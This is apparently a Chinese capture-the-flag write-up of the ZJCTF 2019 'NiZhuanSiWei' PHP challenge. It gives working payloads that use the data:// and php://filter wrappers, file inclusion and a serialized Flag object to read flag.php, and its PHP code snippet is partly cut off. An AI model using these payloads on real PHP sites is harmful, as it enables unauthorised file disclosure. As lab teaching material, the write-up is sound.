PHP伪协议用法之[ZJCTF 2019]NiZhuanSiWei1

PHP伪协议用法之[ZJCTF 2019]NiZhuanSiWei1,第1张

php伪协议知识点总结:php伪协议 - single-dog - 博客园

使用data伪协议绕过圆括号、反引号被过滤_梦梦梦·的博客-CSDN博客_data伪协议

首先是代码审计;

传入三个参数。text文本,file文件,password;

第一关是,text传入文本形式可以使用PHP伪协议中的data协议:data://text/plain,<文本>

构造:

text=data://text/plain,welcome to the zjctf

说明text传参正确;第二关对file进行绕过;file里面不能含有/flag/字样;然后提示说有useless.php;如果直接file=useless.php是没有结果的,看到include想到文件包含漏洞,然后就会想到用filter伪协议进行读取内容;那么使用伪协议php://filter 构造:

file=php://filter/read=convert.base64-encode/resource=useless.php

base64编码解码

 

 将flag调用,然后给里面file值赋值为flag.php。就可输出flag.php里面的内容;
当然还要序列化后传入password

对password序列化就要写代码:


file)){  
            echo file_get_contents($this->file); 
            echo "
"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $password = new Flag(); echo urlencode(serialize($password)); ?>

输出结果:这里使用了 URL编码,可以直接使用;不编码是这样的:

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

反序列漏洞这里有个考点,关于wake_up()函数,将参数加大就可以绕过;

O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

然后构造完整的payload:

?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O%3A4%3A"Flag"%3A1%3A%7Bs%3A4%3A"file"%3Bs%3A8%3A"flag.php"%3B%7D

这里有个细节,完整的payload里面的file不需要再用php://filter协议了;

 

 

欢迎分享,转载请注明来源:内存溢出

原文地址: https://www.outofmemory.cn/langs/788569.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-05
下一篇 2022-05-05

发表评论

登录后才能评论

评论列表(0条)

保存